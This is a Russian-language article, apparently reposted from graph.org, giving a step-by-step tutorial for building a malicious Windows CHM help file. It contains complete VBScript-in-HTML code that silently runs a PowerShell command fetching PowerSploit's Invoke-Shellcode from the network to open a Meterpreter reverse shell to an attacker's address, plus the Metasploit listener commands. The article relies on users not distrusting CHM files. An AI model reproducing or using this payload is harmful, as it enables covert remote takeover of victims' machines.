Вредоносные CHM файлы

Вредоносные CHM файлы

graph.org

Вредоносные CHM файлы

В этой статье мы рассмотрим способ создания вредоносных программ в формате CHM.

Давайте познакомимся с ним поближе. HTMLHelp (Comiled HTML Help) - формат файлов, выпущенный корпорацией Microsoft в 1997 году. Сам файл является комплексом сжатых HTML страниц алгоритмом LZX, которые могут хранить в себе вредоносные сценарии на VBScript или JavaScript. Этим мы с вами сегодня и воспользуемся.

Просматривать CHM файлы можно с помощью стандартный средств просмотра Windows, поэтому каких либо больших зависимостей у него нет. Кроме того, этот формат не вызывает беспокойство у пользователей, что также может быть использовано нами. Файлы формата HTMLHelp выглядят вот так:

Для создания HTMLHelp файлов мы будем использовать программу htm2chm. Она позволяет компилировать различные HTML страницы в один CHM файл. Первое, что нужно вам сделать, так это скачать эту программу.

После скачивания, установки и запуска вас будет приветствовать следующее окно:

  • Кнопка "Compiler" позволяет скомпилировать CHM файл из HTML страницы.
  • Кнопка "Generator" позволяет превратить множество связанных HTML страниц, картинок и видео в один CHM файл.
  • Кнопка "Editor" позволяет редактировать CHM файлы.
  • Кнопка "Decompiler" декомпилировать CHM файлы.
  • Кнопка "Pages" сохранять различные страницы.

Мы будем использовать только функцию "Compiler"

Как я сказал выше, CHM файлы состоят из HTML страниц, поэтому, давайте создадим CHM файл для того, чтобы познакомиться с этим форматом поближе.

1. Создаём HTML страницу.

2. Заполняем её HTML кодом.

<html>
<body>
<h1>Test</h1>
</body>
</html>

3. Компилируем.

  • Запускаем htm2chm.
  • Нажимаем кнопку "Compiler".
  • В поле "Folder" записываем путь к папке с файлом. Не к самому файлу, а именно к папке. В поле "Title" пишем заголовок файла. В поле "Output" путь с каким именем и куда сохранить скомпилированный файл.
  • Нажимаем "Start".

4. После этих действий файл компилируется и автоматически открывается.

Как вы убедились, файл CHM действительно состоит из простых HTML страниц. Мы познакомились с форматом CHM, поэтому давайте теперь перейдём к созданию вредоносного CHM файла, который выдаст нам Meterpreter сессию.

1. Для этого, в скрипте выполним вредоносную powershell команду. Но для этого её нужно сначала собрать.

  • Не будем показывать окно командной строки, отключим использование профиля powershell, отключим использование интерактивного режима и разрешим запуск сторонних скриптов. Этого можно достичь с помощью этих опций.
-w hidden -nop -noni -exec bypass
  • Подготовим вредоносную нагрузку. Можно использовать эту нагрузку, которая предоставит нам meterpreter shell. Используем PowerSploit скрипт. Для этого скачаем его и запустим с нужными параметрами.
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force

где вместо 192.168.0.106 и 8007 укажите IP и порт атакующего.

  • Соберём команду и она примет следующий вид:
powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force

2. Подготовим вредоносный VBScript скрипт, который запустит эту команду.

Set cmd = CreateObject("wscript.shell")
' Создаём объект для выполнения команд
cmd.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
' Выполняем команду

3. Сохраняем всё это в один html файл.

<html>
<body>
<script language="VBScript">
Set cmd = CreateObject("wscript.shell")
cmd.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
</script>
</body>
</html>

4. Комилируем его.

  • Запускаем htm2chm.
  • Нажимаем кнопку "Compiler".
  • В поле Folder записываем путь к папке с файлом. Не к самому файлу, а именно к папке. В поле Title пишем заголовок файла. В папку Output путь куда сохранить скомпилированный файл.
  • Нажимаем "Start"

5. Всё. Файл откроется автоматически, поэтому чтобы это предотвратить нужно после компиляции закрыть окно с программой.

Теперь подготовимся со стороны атакующего. Пишем в консоль Kali Linux:

Последовательность команд:

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.0.106
set LPORT 8007

, где вместо 192.168.0.106 и 8007 указываем IP атакующего и желаемый порт.

Далее. Запускаем наш вредоносный CHM файл и видим предупреждение безопасности Windows. Это является небольшим недостатком этого метода.

Нажимаем "Да" и видим, что нам прилетает сессия meterpreter.

Ну, на этом всё. Спасибо за внимание! Источник

Source graph.org

Report Page